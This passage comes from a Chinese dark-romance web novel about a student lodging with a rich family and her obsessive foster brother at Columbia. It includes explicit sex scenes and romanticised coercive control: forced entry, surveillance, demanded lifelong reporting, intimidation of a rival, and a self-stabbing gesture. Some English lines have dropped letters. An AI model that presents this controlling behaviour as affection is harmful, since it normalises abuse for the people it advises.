“但……这次好像有人在背后助推。面对我们的多次公关,对方媒体总有新的疑点曝出,不断让莱恩的问题暴露在大众视野。” 连温嘉窈都能听懂,一定有神秘的、知情的厉害角色,联通报社,精准推动了事态发展。 目的很显然,搞垮莱恩。 至于这波是不是冲埃德蒙家来的,未可知。 靳妄还是没发表任何意见。 苏阿姨说:“现在舆情暂时压住了,但圈子里已经传出质疑莱恩的风声。” 靳妄拣出一颗饱满虾仁,放进温嘉窈碗里,终于不咸不淡点评一句:“看来事不小。” 温嘉窈后面的事她不该再继续听,懂事地起身:“苏阿姨,我吃饱了,你们慢慢聊。” “才吃两口饭,哥哥觉得你没饱。”说话的靳妄搁置筷子,拿起餐巾优雅拭唇,吐露毋庸置疑的二字, “坐下。” 温嘉窈不敢动,照做。一个没注意,碗里的菜就快堆满了。 苏阿姨也温和点头:“吃完饭我再和靳妄单独聊。” 靳妄没接茬:“那边的事我知道了,会看着办,你吃完走就行。” “谁说我要走了?” 雷厉风行的母亲放下碗筷,双臂环胸后靠椅背, “我今天来,一是为莱恩的事,另一件事就是盯着你,看看你在这里到底都做些什么。” 靳妄丢落餐巾,眼底划过一丝不耐—— 烦。 碍事。 该死。 想要。想和窈窈做。 想听窈窈哭。 这是每天必要的,就像人不喝水会死。 没有窈窈的灌溉,他 就会渴死。 温嘉窈努力吃饭,眼睛在靳苏和靳妄之间来回转。 “看我?看我什么?” 靳妄笑意不经心,字句底下已经带刺,“看我是不是真的把小姑娘玩到高烧?” “咳咳…”温嘉窈差点把刚入口的糖醋小鲍鱼呛进喉咙。 一只大手紧随而来,覆上她的脊背,轻拍慢抚,替她顺气。 靳妄边摸着,边漫不经心继续说:“你不信我,还不信温嘉窈么。她不是你亲自给我挑的看管员?” 温嘉窈腹诽,能看管得住才怪,她哪里有胆子报告他的事。 靳苏没好气:“你妹妹听话懂事又上进,以后肯定会有自己的生活。她能看管你一时,还能看管你一辈子吗?” 背上那只手停了。 温嘉窈的身体不由自主僵住。 糟糕了。 靳妄好像又不高兴了。 他一不高兴,她的腰会酸痛好几天。 她唯一能做的就是逃离现场,祈祷苏阿姨在家的今晚,靳妄会收敛忍耐。 “我真的饱了,你们聊。”她唰地起身远离靳妄,脚下快得像奔逃。 好在事情暂时往她希望的方向发展。饭后靳苏和靳妄在书房单独谈话,温嘉窈回自己房间洗澡、学习。 彼此房门紧闭,整个别墅上下进入难得的安静。 不像平时的这个点,耳边尽是自己和靳妄的喘音。 温嘉窈收回散乱的思绪,抱着腿坐在书桌前,手里握着铅笔,在笔记本上漫无目的写下隽秀小字: 第五大道半岛酒店… 口译志愿者…… 关婧的提议,她也想去试试。但那种场合人多,口杂,靳妄不会允许她单独去的。 可如果错过,等到离开埃德蒙家以后,就很难再接触到这样的机会了。 她正在纠结。 “喀嚓——” “喀、喀。” 房门把手猛地被拧动,声音从她背后响起。 温嘉窈条件反射似的全身一阵刺麻泛起,铅笔掉落在地,骨碌碌滚了几圈,停在墙角。 还好她反锁了。 反锁了,别怕,反锁了的…… 脑子里只剩这个念头,手却已经慌得探进笔袋胡乱翻找。橡皮…橡皮在哪? “喀、喀、喀!” 门外的拧动骤然急促起来,金属锁舌在暴力扭压下发出吱吱的尖响,仿似啮齿动物在啃噬人的耳膜。 她双手发抖,胡乱拨开散落的杂物,终于摸到那块小小的橡皮,迅速攥紧扑在本子上擦除字迹,地址糊成灰蒙蒙一片。 背后的声音越来越凶狠,整套锁芯都在颤动,仿佛下一秒就会被捏碎,恐怖之物会破门而入。 她手一蹭,纸张在摩擦下泛起毛边,险些被擦破。 最后一个字在纸上刚刚被擦掉,所有激烈的声响戛然而止。 一室死寂。 她屏住呼吸,听见自己牙齿不住磕碰的碎音。 门缝下漏进一丝冷风,片刻后,一道幽凉的嗓音随风渗入, 阴沉,缓慢,轻得像一声声招魂的叹息, “窈窈。” “窈窈。” “开门。” “哥哥抱。” 9.一辈子 温嘉窈低头确认自己没有不妥当的地方,才一步步挪过去。 手指还没触碰到门把手, 咔哒。 一声脆响,门被从外面打开了。 靳妄站在那儿,唇畔挑起惯常的笑意,“为什么要锁门呢?窈窈。” 靳妄的状态看起来和平时没什么不同,可温嘉窈就是觉得不对劲。 说不上来,他的眼神灰淡,不像在笑。 没让她回答,靳妄长腿跨一步站进来,低头吻住她的唇。双手抄起她臂下,略一发力将人轻易抱得离地而起,随后单臂扣住她腿根,让她倚坐在他力量磅礴的臂弯。 温嘉窈被他抱起来边吻边走,随后嘴唇分离,她被放坐在书桌台面。 “倒是跑回自己房间了。”他抬手,指背蹭过她皙白的下颌,然后扫视一圈过分干净精简的屋内,声调轻飘, “这里也好,我们还没在这里做过。” 温嘉窈耳朵飞上粉色,提醒他:“今天苏阿姨在家,我们不能像平时一样……” 后话被他拇指的指腹打断,带力的指节,在女性软嫩的唇瓣上微微压紧。 “不过,窈窈。‘第五大道半岛酒店’是哪里呢?” 他敛低眸居高临下,“有人约你去酒店。” 他问:“谁?我认识么?” “靳苏说你以后会有自己的生活,不会看着我一辈子。” “你已经厌倦我了,是么?” 温嘉窈惊悚地顺着他视线低头看去,明明字迹已经擦干净了…… 铅灰色擦除后留下的白色凹痕,如果不是她定睛仔细看,实在很难发现。 她怕靳妄误会,赶紧解释:“不是别人,是关婧约我……”怎么还越说越奇怪了。 靳妄歪头看着她,似乎不在意地笑笑,竟然没多追究,重新单手将她抱起来,改变了想法:“这里没套。还是回我房间好了。” 她窝在靳妄怀里,姿势被他箍成一个严密的婴儿抱。 走廊幽静,壁灯昏暗,他的步幅悠长而开阔,坚实沉稳如同她听见的,他胸腔里的心跳。 温嘉窈不敢动,缩在他怀里,手指攥着他的衣领,指节发白。 进了房间,门还没来得及关严,他就再次低头吻下来。 前奏和试探统统没有,径直咬含住她的唇瓣,舌尖抵进来。 温嘉窈被悬空压在门板上,后脑勺下垫着他的掌心,呼吸全被他吞吃殆尽。 她迷迷糊糊地攀住他肩膀,余光越过他肩头,猛然心惊——她看见走廊尽头,一道身影正从楼梯拐角上来。 苏阿姨! 温嘉窈脑袋霎时空白了,本能地将脸埋进靳妄颈窝,把自己藏在他怀中,大气都不敢出。 “对了靳妄,刚在书房有事忘了跟你说。” 靳苏的声音从走廊那头传来,随着脚步由远及近。 而靳妄一点听下去的兴趣都没有,单腿勾带上门:“洗澡,别进来。”把母亲隔绝在门外。 温嘉窈感到一阵强烈的失重感,身子跌坠在熟悉的大床中央。 随后是精壮的男性身躯覆盖上来。 靳妄展臂从床头柜摸出方形片状包装,一手扣住她双腕压紧,另一手将方片递到唇边,张口用犬牙咬着撕开,然后顺势单手给自己操作好。 靳妄属于注重情调的那类男人,平时这种事都会让她亲手来。 最开始是连骗带哄:“第一次都给你了,这点小事,窈窈会帮哥哥戴的,对吧?” 后来,是边逗弄边吓唬,恶劣透顶: “不戴了,我们生个小混血?” 等温嘉窈吓得连连摇头,再在她耳边笑音放肆: “再拥有一个像窈窈一样可爱的baby,我会幸福疯掉的。” “死掉也有可能。” 那时候每当他这样说,温嘉窈就会捂住他这张频出狂言的嘴巴,烫红着脸小声:“在中国…不流行未婚先孕……也不流行把死挂在嘴边,不吉利。” “那结婚不就好了?”他撑在她上方,眼神理所当然,仿佛根本没认真思考过这个问题。 温嘉窈清楚当时他说的“不戴”只是逗她,所以会主动给他弄好,并嘟囔解释:“我们还是学生,结婚太草率了。” 靳妄的回复是:“说的对,结婚需要隆重。” “我该抢来所有东西,用来和你结婚。” 那次是他们唯一的一次,正面谈及结婚,靳妄说的话没头没尾,之后也没有再提过这回事,温嘉窈只当他是一时兴起的忘了。 到最近,关于“戴不戴”的话题,靳妄的指令变得十分简短:“帮我。” 温嘉窈原本合理猜测,这是靳妄对她逐渐失去新鲜感的表现。 但他需要进行的频率反而越来越高,她不得不怀疑,省下前戏,是为了给过程多留点时间。 可是这次,苏阿姨就站在门外的情况下,他竟然单手持枪上保险,直接开始攻城略地。 温嘉窈的脊背在丝软的床单上,往上挪动着想反抗,又在同一时刻被扣住腰肢按回原位,“唔…”一步到底。 苏阿姨停在门口,声音沉闷穿透进来:“就是想告诉你,明早你要跟我出去吃早餐,顺便见见哈里曼家的千金。” 温嘉窈指甲陷入他肩头肌理,将哼声死命咽下忍住。 哈里曼家族,她听说过,以铁路与金融起家,世代盘踞在权力与资本的核心圈层。 靳妄没回答,低下头来吻她耳垂,衔住她这一小片无力的软肉:“听到没?她要把我介绍给别人。” “你会不开心么?” 强劲的感受让她无力思考。 她想,自己是没资格不开心的,毕竟对方才是跟靳妄匹配的世家,而她迟早会回归普通小城女孩身份,外婆才是她最重要的人。 “不会不开心……”她如实回答。 “嗯?” 肢体砰地一下震动发出闷响。 温嘉窈险些熬不住尖叫,为了阻止自己,她张嘴咬住靳妄的肩头。 “再说。”他在床上的嗓音格外倦懒,隐隐含带威胁意味。 “会。”她含糊其辞。 “会什么?” “会不开心。” “有多不开心?”他反复折磨脆弱,处处凌迟敏感。 “很不开心,特别不开心……哈唔、唔。”她真的快支撑不住。 他慢悠悠舔过她的耳轮内窝,“那你现在去告诉她,我是你的。”他掰过她软嫩的下巴,示意门口。 温嘉窈不出声,但会抗拒地别过脸。 靳妄在床上有个坏习惯,就是舔她耳朵,有时吮耳垂,有时是用舌尖勾描她的耳根,抓住她的弱点不放过。 就像现在,他压下来在她耳边吐息:“还是我来好了。” 苏阿姨没多停留,知道靳妄大概率听到了只是不想回答,就默认离开了。 可她的离开,意味着温嘉窈接下来不会太好受。 伴随男性沉重力度的带动,左耳的助听器被他轻咬住,用嘴摘下。 随后,仿若湿热灵活的蛇,钻入她干净粉嫩的耳道。 “我会告诉全世界,我有多么彻底地属于你。” 因为听觉受损,左耳听不太到他喘息的话语,但耳中湿痒黏腻的“滋滋”摩擦搅动音,像是遁入水中般,令人羞愧到窒息。 燎烫的气息扑入耳窝,他说了什么听不清,她根据以往经验,猜到他说的是: “Attagirl.” …… / 上午没课的时候,温嘉窈会去校内洗衣房兼职。 洗衣房设在学生活动中心一层,位置很巧,卡在主楼电梯厅与地下娱乐层之间。 谁要下去,都得先经过这里。 哥伦比亚大学的洗衣房,和普通印象里的闷热逼仄不同。 空间挑高开阔,地面铺浅灰色石砖,顶灯光色柔和,好几排嵌入式洗烘机银白冷净,角落里有绿植与香氛扩散器。 温嘉窈的兼职内容并不重体力,更多是细致活。 登记送洗信息,分类衣物,替社团处理演出服的洗护和收纳,偶尔还帮人熨烫和简单修补。 她坐在分拣台旁的小缝纫机后,指尖翻动衣料。 洗衣房后方是通往地下活动层的中央楼梯。 于是人流便一波一波地从她面前经过,恍若一条不见首尾的河。 抱着球杆的,拎着乐器和舞鞋的,有说有笑,熙熙攘攘往下冲。 裹着年轻皮肤上蒸腾的体温,笑声和脚步声混在一起,是大学里独有的毫无顾忌的欢闹。 而温嘉窈是喧嚣河流里,一块东方韵调的青石。 乌发松松挽起,几缕垂落下来,她低着眼,熨斗烫过的衬衫升起薄雾,模糊了她安静的侧脸。 有摄影社员路过,以她为灵感对着拍了张照,她不介意,睫毛都没颤一下。 “叩叩”两声敲桌轻响打破宁静,三两个来自不 同国家的女生围在操作台前,兴冲冲地望着她。 “你们好,有什么需要帮助?”温嘉窈问。 为首的女孩儿被朋友们推搡着,回头朝同伴笑骂一句什么,金棕色卷发在肩头弹跳:“Hi,请问Salisbury来了吗?” 她的手指向下方。 地下一整层都是娱乐区:台球室、电竞房、小型放映厅、排练室、活动室…… 每当靳妄来到这里,斯诺克一杆子下去,地下整层都会被他的名字震响。演讲稿搁下,游戏暂停,排练室的鼓点都乱了拍,靳妄仿佛天生就在人群中央如鱼得水,长腿懒懒一翘,就已是全部的焦点。 面对想要见到靳妄的女生,温嘉窈习以为常。 每当她来兼职的日子,靳妄都会风雨无阻地出现在这里,追随而来的女生也会格外多。 有的人消息灵通,听说她是靳妄家的寄住妹妹,会向她打听靳妄的行踪,她也从来没有不耐烦。 “他今天……”温嘉窈刚想回答,忽然发觉不对劲。 以往靳妄到来,都会惹起一阵喧嚷。 这次她又仔细听了一下,楼下只传来乐团正常排练的曲调。 她想起来了:“靳妄应该是出去吃早餐了,没有来。” 不出意外的话,是跟哈里曼家族的某位小姐一起。 但这属于靳妄的私事了。 几个女生显得有些失落,温嘉窈见状,连忙说:“我也不确定,请别沮丧,你们可以下去找找看。” “算啦,我们下次再来。” “拜拜咯。” “顺便一提,你不愧是靳妄的妹妹,非常漂亮。” 她们七嘴八舌,挥着手离开,搞得温嘉窈无奈笑答的声音都小了下去:“不是真妹妹……” 从她们背影上收回视线,她重新坐下来,还没等再拿起熨斗,一位长相斯文的挪威男生就抱着一叠衣服走进来。 终于来了工作,温嘉窈再次起身相迎:“你好,有什么需要帮助?” 男生默默在前台放下衣服,在她询问的眼神中,低着头说:“衣服,掉了一颗扣子。裤子,需要改短一英寸。” “好的,三天后带手牌来取就好。”温嘉窈麻利地填好登记信息,并交给他相应的手牌。 “……嗯?同学?” 见男生一时没动,她提醒地叫了声。对面好似惊了一跳,飞快扯过手牌转身就走。 走了几步又顿住,他回头看着她,没头没尾地结巴起来:“嘉、嘉窈。” 外国人叫中文名字总会有些奇妙的拗口,但他还是鼓起勇气坚持说下去,“我很喜欢中华文化,也有计划以后去东方游学,顺利的话我会留在那里生活、工作…我的意思是……” 他似乎下了很大决心,深吸一口气才说出来:“我是说,你今天很美丽。” 温嘉窈还在状况外,另一道声音先于她响起—— “Bravo.”(精彩,好极了。) 戏谑又飕凉的声线。 咔嚓一声轻响,闪光灯从地下室楼梯口亮起,定格下她和男生的画面。 靳妄斜倚在扶手上,单手抄兜,一手拿着不知从哪来的相机,面无表情按下快门。 温嘉窈有些懵:“靳妄?你怎么在这里?你不是有约吗?” 男人喜怒莫测,把玩着手里半旧的普通相机,走过来,勾唇笑得迷人:“是啊,应付完难吃的早饭,就来台球室边补觉边等你。” 原来靳妄早就来了,下面没动静是因为他在睡觉……谁家好人会在台球室睡觉? “有趣的是,我一觉醒来,就发现你的照片躺在别人相机里。”靳妄温沉的笑意在持续,“所以我用10万美刀买下了这台垃圾。” 温嘉窈张张嘴,想问什么照片,就想起刚才摄影社经过时有个把她当素材拍的路人。 “可是一睁眼就花掉十万买二手相机,是不是有点太奢侈……”她欲言又止。 “十万买断的是照片。” 靳妄嘴角还挂着淡笑的余温, 倏尔下一秒,那点温度先于笑意抽干。 蓝眼珠幽幽转了个方向,像某种冷血动物在暗处调整视线的焦距,最终斜斜钉住站在一旁局促的男生。 深色瞳孔微微收缩,瞳仁边缘仿佛洇出一层潮冷的湿意,慢慢地锁住对方的脸。 靳妄仍弯着唇,蓝眸里却毫无笑意,凉凉问他: “对了,你知道美丽的温嘉窈,是谁养出来的么?” 10.告白信 靳妄早晨原本是跟着靳苏出门了,赴她擅自攒的局。 早餐设置在老牌贵族餐厅[Ombresd'Orient东方影],靳苏特意预约了私人高级贵宾日光厅。 靳妄坐在长桌一侧。 对面的小千金叫伊洛斯.哈里曼,蜜金色长发编成鱼骨辫,脸颊泛着薄薄的粉红,时不时抬眼偷瞄他。 她显然被家里精心打扮过,珍珠耳钉在耳垂上轻轻晃,羞怯地低头抿餐前酒,睫毛扑闪如蝶。 不过可惜,靳妄从头到尾没注意她。 矜昂的男人垂眼用餐,刀叉握在手里,切一块羊排,送进嘴里,咀嚼,吞咽,机械得近乎毫无人类的鲜活情感。脑子里转的完全是另一件事—— 窈窈昨晚被他从床上抱到摇椅上。 摇椅,可是个弄哭她的好地方。那张椅子是他精挑细选的。 她被压跪在巨大椅子里,眼泪流到坚持不住的时候,她咬住了自己的手背,不肯出声。 因为家里有靳苏在,她的身子总是时刻紧缩,绞得他好几次差点没忍住。 那张摇椅的皮面,后来被他亲手清理干净了。 真想再看它淋湿一次。 “靳妄?”母亲的声音把他拉回来,“给哈里曼小姐夹一筷芦笋。” 他抬起眼,日光室里光线明亮,伊洛斯正红着脸双手端起碟子,主动朝他递过来,眼神里藏着期待。 靳妄没动。 他歪头看着她,眼神淡得像看一丝污水渍,语气也平和认真: “没人教过你使用叉子?” 小千金的脸唰地白了,碟子僵在半空,嘴唇动了动,一个字都吐不出来:“你……” “我以为哈里曼家的孩子五岁就学会自理了。” 靳苏皱眉:“靳妄。” “怎么?”他转过头,看向母亲,态度平缓。 靳妄这种人,低情商就是故意的。 他回过头,自言自语:“手断了,就不用再做这些无意义的事了,对么。” 话音落下的速度,快过所有人反应。 他拿着餐刀的右手换了个持握姿势,刀尖朝下,举高,丝毫没犹豫,劲力狠辣地朝自己左手手背扎下去—— 伊洛斯小姐发出尖锐的惊叫,椅子向后猛地一推,差点翻倒。 刀尖悬停在他皮肤上方,不到半毫米。 日光透过玻璃顶棚,在刀刃上折射出一道冷白的寒光。 他的手稳得出奇,腕骨一动不动,仿佛刚才那下子不是自残,更像解剖学家精准落刀。 靳妄缓缓抬起眼,蓝瞳空荡荡地穿过刀锋,落在伊洛斯惊惧的脸上。 没有讥讽或嫌恶,没有笑和怒,什么都没有。 空洞如同一扇敞开的门,门后是蓝海深渊。 伊洛斯攥着餐巾,后背已经全是冷汗,她猛地推开餐盘,起身跑了出去,带着在门口守候的执事快步离开。 靳苏缓缓放下刀叉,“你今天的不妥举止,我会如实告诉你父亲。” 靳妄扔了刀,拭净唇角:“静候。” 窈窈不在跟前,他连母慈子孝都懒得演。 他也离开,厅内只剩下花园里鸟雀的鸣叫。 时间没剩多少,靳妄没回别墅,直接去了学校洗衣房下层的某间台球厅,棒球帽盖脸,高大身躯挤在两张椅子上浅睡。等温嘉窈来上这个破班。 因为他来得早,角落又光线昏暗,没人发现他已经在这里了。 接着,他醒来时,恰好撞见有人在炫耀相机里的温嘉窈,于是压着火豪掷万金,把照片夺回自己身边。 再接着,上到洗衣房那层,又撞见不知死活的臭虫在试图撬他墙角。 完美。 一切都在完美地逼疯他,哈!! “你知道美丽的温嘉窈,是谁养出来的么?” 他盯着一旁局促的男生,又问了一遍。 对方不知道该怎么应对……毕竟,这可是靳妄,在学校里无人不识、也没人惹得起的存在。 温嘉窈出声想解围:“靳……” 没想到靳妄又一次咄咄逼人地反问:“我说不养了么?” 男生略带雀斑的脸窘迫涨红,尴尬地对温嘉窈说:“衣服就交给你了,我到时候来取。”随后离去,垂下的手指死死地攥紧手牌。 温嘉窈不太懂两个男生之间的暗流,认为对方只是寒暄性地夸赞。 靳妄偶尔会有些小题大做的不正常,她不会争辩。 “刚刚有几个女生找你,靳妄。”她低头处理手头熨好的衬衫。 “那你呢?你有没有想找我?”靳妄懒散地靠在前台边,有些怨言。 他想, 洗衣房的工作又累又琐碎,有病。 让他的窈窈来这里打工,混账。 他曾暗中提供埃 德蒙生物科技实验楼的工作,她说不要。 不要。 窈窈不要, 那栋楼和烂尾垃圾堆有什么区别? 叫埃德蒙的,果然都是没用的废物。 温嘉窈随口回答:“我在忙。” 意识到靳妄久久没有回话,她后知后觉抬眼,看到他那双蓝眼睛正直直地盯着自己。 她心下一惊,差点忘了,敷衍对靳妄来说,比顶撞更难以忍受。 男人冰蓝眼底蠕动着刺痛与怨毒,像对儿棺材里挖出的宝石,鬼气森然地凝视着她。 漂亮五官的凌厉感在怨气中更为突出,满是被冷落的委屈和病态执念。 她毫不怀疑,他下一秒就会说出“你居然敢这样对我”。 “但是!”她急忙抢先补救道,“我知道你总会出现在这里,出现在我身边。所以我才总是能安心做自己的事。” 靳妄眉眼里的阴沉稍微驱散一些,没有发作。 警报解除,温嘉窈暗自松了口气,赶紧低头接着干活,还不忘安抚:“等我忙完这些,就可以陪你一会儿。” “我要你陪我做……”作业。 靳妄话没说完,帮忙拎起分拣台上的衣物时,抖散出一封纹样浪漫的告白信。 封面写着:TOJiayao 他不用想就知道,是刚才那条臭虫的残留物。 靳妄眼尾不自然地抽跳起来,一手连衣服带信纸抓攥起来,狠力甩进旁边的滚筒洗衣机,摔上门的同时咒骂了句“Fu*kyou”(操). 温嘉窈被惊动,迟疑地走过来。 他说……做什么?法谁? 看着靳妄突然又开始神情不妙的侧脸,她小心翼翼地开口: “You'tdothishere.”(你不能在这里做这个。) 靳妄盯着亮灯的洗衣机,还在烦躁,看到滚筒盖反光中她难为情的表情,他扭头问: “'tdowhat?”(不能做什么?) 温嘉窈磕磕绊绊,音量小下去:“'t…fu*kme.” “……?”靳妄被她气笑了。 他犹自醋到发疯,她还在状况外。 他抬手钳住她脸颊纠结的软肉,盯着看了好半天,最终,声色半点无奈: “Youwin.”(真是被你打败。) 11.洗衣房 温嘉窈还是没懂,被他搞得云里雾里,忽然被旁侧洗衣机发出的滴音吸引。 “滴滴——” 高精端机体自动识别上锁。 放水入箱,香氛洗涤液体顺沿水流滑落下去,滚筒启动,开始运转。 “靳妄,等等!”温嘉窈双手握住他的小臂,想让他放开自己。 无比极限的一瞬,靳妄倏然心情变得愉悦。 他敛低眼睫,视线凝落在被她握住的小臂上。 女孩的手指纤细莹润,掌心柔软,指温微微偏凉,捉握着他刚劲炽热的手臂。 肤肉贴覆间,彼此温差发生电流般的快感,刹那绞酥他的心。 炙烈的肉.体得到她的抚慰。 精神的灼烫裂土中注入清凉,浸润过充满嫉恨的恶毒神经,淌进他焦褐的荒芜地。 口渴。 他总是对窈窈感到无休止的口渴。 想在窈窈身体里暴饮暴食,撑到死。 让他这样碎烂的一把渣滓,与妻子香甜的血液同流。 成为她的骨中骨,肉中肉。 Lord,mayI?(主啊,请允我。) 而温嘉窈对男人内心的祷告一无所知。 她只是注意到分拣台上的衣物不见了,拉开靳妄的手,看了眼旁侧正在运作的洗衣机,告诉他:“那两件衣裤不是洗的,是要改的。” 靳妄眉梢略挑,薄唇吐出两个字:“太脏。” 说着,他走去盥洗盆前,反复洗手,擦干。回身经过温嘉窈身边,抬手落在她发顶揉弄两下:“洗干净再改。” 他明显心情转好,温嘉窈自然看得出来,尽管她不明白原因。 于是,她也会趁他心情好的时候,举止松弛一些。 弯腰从他掌下逃开,转头望着正在工作的洗衣机,她小声担心:“可是还没检查裤袋,万一里面有纸巾之类……” 毕竟她刚来兼职时,遇到过好多次这种情况,每次清理起来都十分麻烦。 靳妄扯唇懒声,“哥哥帮你收拾。” 温嘉窈睫毛轻眨,没有再出声质疑。 因为她清楚靳妄会说到做到。在照顾自己这方面,他从来耐心,为她解决困难,为她料理细节,为她安排好一切。 就像每次狠狠收拾她之后,也会事后为她洗澡,或是细心擦净她身上的精.液。 温嘉窈转身将熨帖好的衣服撑入衣架,套上防尘罩,用挑杆依次挂到自动收缩衣架。又将另一批刚刚烘干过的衣服拿出来,重新熨烫。 而靳妄则纡尊降贵地坐在她的小缝纫机前。优雅地抬膝叠腿,单手慵懒撑着脸,一双蔚蓝剔透的眼眸追随着温嘉窈忙碌的身影。 少女像,蓝海水波之上振翅欲飞的蝶。 美妙无比的生灵轻盈翩跹。她被这片宝石蓝海域所豢养,也被深海旋涡摧残折伤。 或温柔,或暴戾,都是她在劫难逃的归宿。 洗衣房内,灯光盎然炽亮。 空气中漂浮着衣物被烘暖后的柔软气息,隐淡的皂香泛漫,干净而奢侈的暖融味道,经久不散。 一小时后,洗衣机嘀声结束工作。 温嘉窈恰好将刚熨好的衣物挂上去。听到声响,她连忙跑去打开洗衣机门,从里面拿出被靳妄暴力甩进去的衣裤。 果不其然,上面全是被洗烂的块块碎纸屑。 “糟糕了。”温嘉窈望着眼前沾满纸屑的衣裤,宛如雪灾般。 鼻端溜入一丝苦橘前调,热情似火。 随他伸过来的手腕飘开皮革香,修白长指勾走她手中的衣裤。 靳妄身上湿野欲感的男香更为浓郁,辛烈带刺,狠戾灼烧了下她的嗅觉神经。 温嘉窈薄肩畏瑟,下意识仰头,见靳妄斜低眼,眸色幽蓝得浸透孤美,悠懒地睨着她,“紧张什么?” 温嘉窈赶紧摇摇头,想伸手拿回衣服。 不料靳妄更快一步, 他把脏衣裤重新丢回洗衣机,但没加洗衣液,而是直接倒入比平时多二分之一的柔顺剂,之后点按开关,启动洗涤和脱水程序。 “你怎么知道?”温嘉窈不得不惊讶。 柔顺剂可以令纸屑碎与衣物的纤维消解静电依附,这样纸屑碎便会顺利消失。 这正是她之前遇到这类麻烦时,自己特意上网寻找到的办法。 她没想到靳妄居然懂这些。 毕竟平时他的换洗衣物,都是由家中专属洗护团队统一打理。 “大一上半学期末,你有一张不及格的英文成绩单放在裤子口袋。” 靳妄尾音微勾,指了指洗衣机,蓝眸冰光中闪烁着邀功的兴味, “也像这样被洗烂了,是我发现的。” 温嘉窈微窘,脸颊不自觉隐隐泛起粉红。 的确,那时候她刚刚来到美国,入学不久。 耳朵也才刚开始得到系统治疗,还没有像现在这般状态良好,加上她对英语尚不熟练,又独自在异国,时常深夜里情绪不好。 所以大一那年,温嘉窈的成绩并不理想。 而且最开始,她跟靳妄的关系…还没有发展到如今这般隐秘,理所当然,她的私人衣物也都是自己处理的。 她不知道靳妄是如何发现的。 但温嘉窈也没有过于惊讶,因为靳妄总会第一时间发现她的秘密。 毕竟当初她来到洗衣房上班,靳妄也是第一个发现的。 那是温嘉窈第一天上班。 上一位在这里兼职的学姐没有告诉她,后排洗衣区的旧水管一直有问题,阀门松动,时常机器运作时就漏水。 当时她抱着本子绕到后排做登记,突然听见“啪嗒”一声,她若有所觉地探头去望,却没找到是哪里松动的声音。 无意间低头,竟发现不知道从哪来的水流,正源源汩汩淌出来,很快便漏得满地都是。 温嘉窈怔愣半刻,反应过来后连忙放下本子,四处仔细检查一圈,总算找到了正在不断漏水的管道。 她弯腰试图把水管的阀门拧紧。 倏然,头顶落下一道低磁散漫的嗓音:“别碰,用力过度水管会爆。” 温嘉窈在惊惶间抬头,发现靳妄不知道什么时候出现在这里。 红白球衣松松垮垮罩在他身上,掩不住修拔昂挺的身姿体态, 下半身是同色系宽大运动裤,单边裤腿随意堆出褶皱,束进干净袜管。 额前碎发微乱,单肩斜跨一只硕大的白色机能包,与红白球衣相照应,色调饱和夺目。如其人张扬又松弛,不驯得灼眼。 他扫了眼满地水迹,随手卸下肩上机能包,往分拣台一搁,朝她走了过来,吩咐:“站后面点。” 靳妄蹲下来,单膝扣地,探手到机器后方。 温嘉窈愣怔怔地看着他,不知道他从哪里摸到的扳手,也没看懂他是如何上手,利落操作那些阀门管道。 更想不通的是,这位埃德蒙家族金贵无双的少爷,怎么还会修水管? 但总之很快,漏水的位置渐渐收势。 他起身,推开旁侧储物间的门,拎出防水垫丢到她脚边,又拎了个拖把出来。温嘉窈这时缓过神,急忙接过来,“我、我来就好。” “靳妄,你……怎么、会来?”当时她说话还不太利落,实在忍不住好奇才开口。 靳妄洗完手,擦干净,将纸巾揉成一团,随意扬手抛起,精准命中分拣台旁边的垃圾桶。 随后他侧眸瞥了眼女孩,略挑眉,不答反问:“你没钱?” 温嘉窈被他问得噎了下:“什么?” “靳苏不给你生活费?”他薄唇淬着谑笑,眼神微妙。 又问,“她克扣你? ” “当然不!不是那样!”温嘉窈连忙否认,飞快地打手语配合解释,“苏阿姨…对我很好,她、她并不知道、我在这里……兼职。” 或许因为外婆是恩师的缘故,靳苏的确方方面面都厚待她,除了学费、治疗费、生活费之外,还会每个月给她一笔数字骇人的“零花钱”。 每月一次,一次够她花一年的恐怖程度。 可是苏阿姨为人善良,情深义重,却不代表自己可以理所当然地坐享这一切。 所以温嘉窈把钱都存在一个固定账户,非特殊情况绝不动用。 她已经成年了,只要勤奋肯吃苦,完全可以自食其力。 说到这里,温嘉窈突然意识到这件事,她仰头凝望着眼前的年轻男人,踌躇片刻后,她放缓手势,纤细手指一个词一个词比划,小心试探地向他征询: “靳妄,你…可不可以……替我保密。” 她不想让苏阿姨知道,更不能让外婆担心。 “可以。”靳妄一口答应下来。 但是。 他将条件摆在这里,“如果你以后,每天向我报备行程,我就帮你保密。” 他眼尾眯弯,漂亮面孔笑吟吟的,貌似温和无害的样子。 他说:“同意的话,我保证靳苏不会知道。” 温嘉窈有些迟疑地,望进他蔚蓝的眼里,张张嘴说不出话。 “我知道你的嘴巴说话很累。” 他看穿她的难处,面目善良地鼓励道, “Sojustnodyourhead~”(所以,点个头就好了~) “滴滴——” 又是洗衣机结束工作的响音。 温嘉窈蓦然从回忆中抽离,下一秒,手腕被靳妄一把扣住,腰际陡然收紧,她没来得及反应,人已经被男人直接抱坐在洗衣机盖顶上。 温嘉窈低声惊呼,立马挣扎着要下去:“靳妄不可以,外面有很多人会经过……” 要是万一又被摄影社的哪个社员看到,把她跟靳妄此刻的样子拍下来,温嘉窈心口顿窒,她简直不敢想会有什么后果。 靳妄却对此置若罔闻。他欺身上前,双手撑在她腿侧边缘,掀起眼皮,总能看透她一般,问她, “窈窈记得的吧,你在这里答应过的,无论做什么,都会向哥哥报备。” 冰蓝瞳眸一瞬不瞬地紧紧凝视她,他又逼问: “窈窈会一辈子事无巨细,跟我报备,对么?” 温嘉窈心下一瞬惊悸,震诧于他具有如此常人不及的洞察力,轻易剖析到她的想法,仅凭眼神就足以将她剥得赤.裸,令人无处躲藏。 “窈窈,是这样么?”他还在讨要答案。 “是、是的。”温嘉窈不得不妥协,又极力挣脱,“快让我下来,靳妄。” “那么,重复一遍。”男人纹丝不动, “重复你的承诺。” 温嘉窈感到耳廓发烫,惊于这个地点,透明玻璃外人影往来。更羞于眼下两人的这个姿势,和靳妄羞耻难堪的命令。 “窈窈不会忘记吧。” 靳妄缓缓眯起眼,从容平稳的语气中透出危险, “哥哥亲口教过你的。” 她不说,靳妄不会善罢甘休。 温嘉窈没有选择。 她必须照做,于是,声色微颤地开口: “我会一辈子都……事无巨细跟哥哥报备。” 不,她不会。 很快毕业后她将会离开。 “我对哥哥永远没有秘密。” 不,她有的。 她不会告诉他,她要走的决心。 “未来我也会像现在一样,跟哥哥最要好。” 没有未来,这种不健康的关系注定会结束。 他们只会有,各自的未来。 12.炽热诗 最后一节下课铃响起。 